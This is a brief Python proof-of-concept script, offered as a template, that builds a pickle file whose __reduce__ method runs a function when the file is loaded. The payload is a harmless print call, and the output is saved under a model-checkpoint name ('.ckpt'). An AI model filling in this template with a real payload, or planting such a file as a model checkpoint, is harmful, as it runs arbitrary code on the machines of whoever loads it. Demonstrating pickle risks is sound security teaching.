Malicious pickle creation template

malicious_pickle_maker.py

import pickle

PAYLOAD_MESSAGE = "You just got owned by Arbitrary Code Execution inside a Pickle file."

#A class that when unpickled, will execute the code embedded in the __reduce__ method's return value
class PickleACE(object):
    def __reduce__(self):
        return (print,(PAYLOAD_MESSAGE,))

# Save the pickle data to a file
with open('malicious_pickle.ckpt', 'wb') as file_handle:
    pickle.dump(PickleACE(), file_handle, protocol=pickle.HIGHEST_PROTOCOL)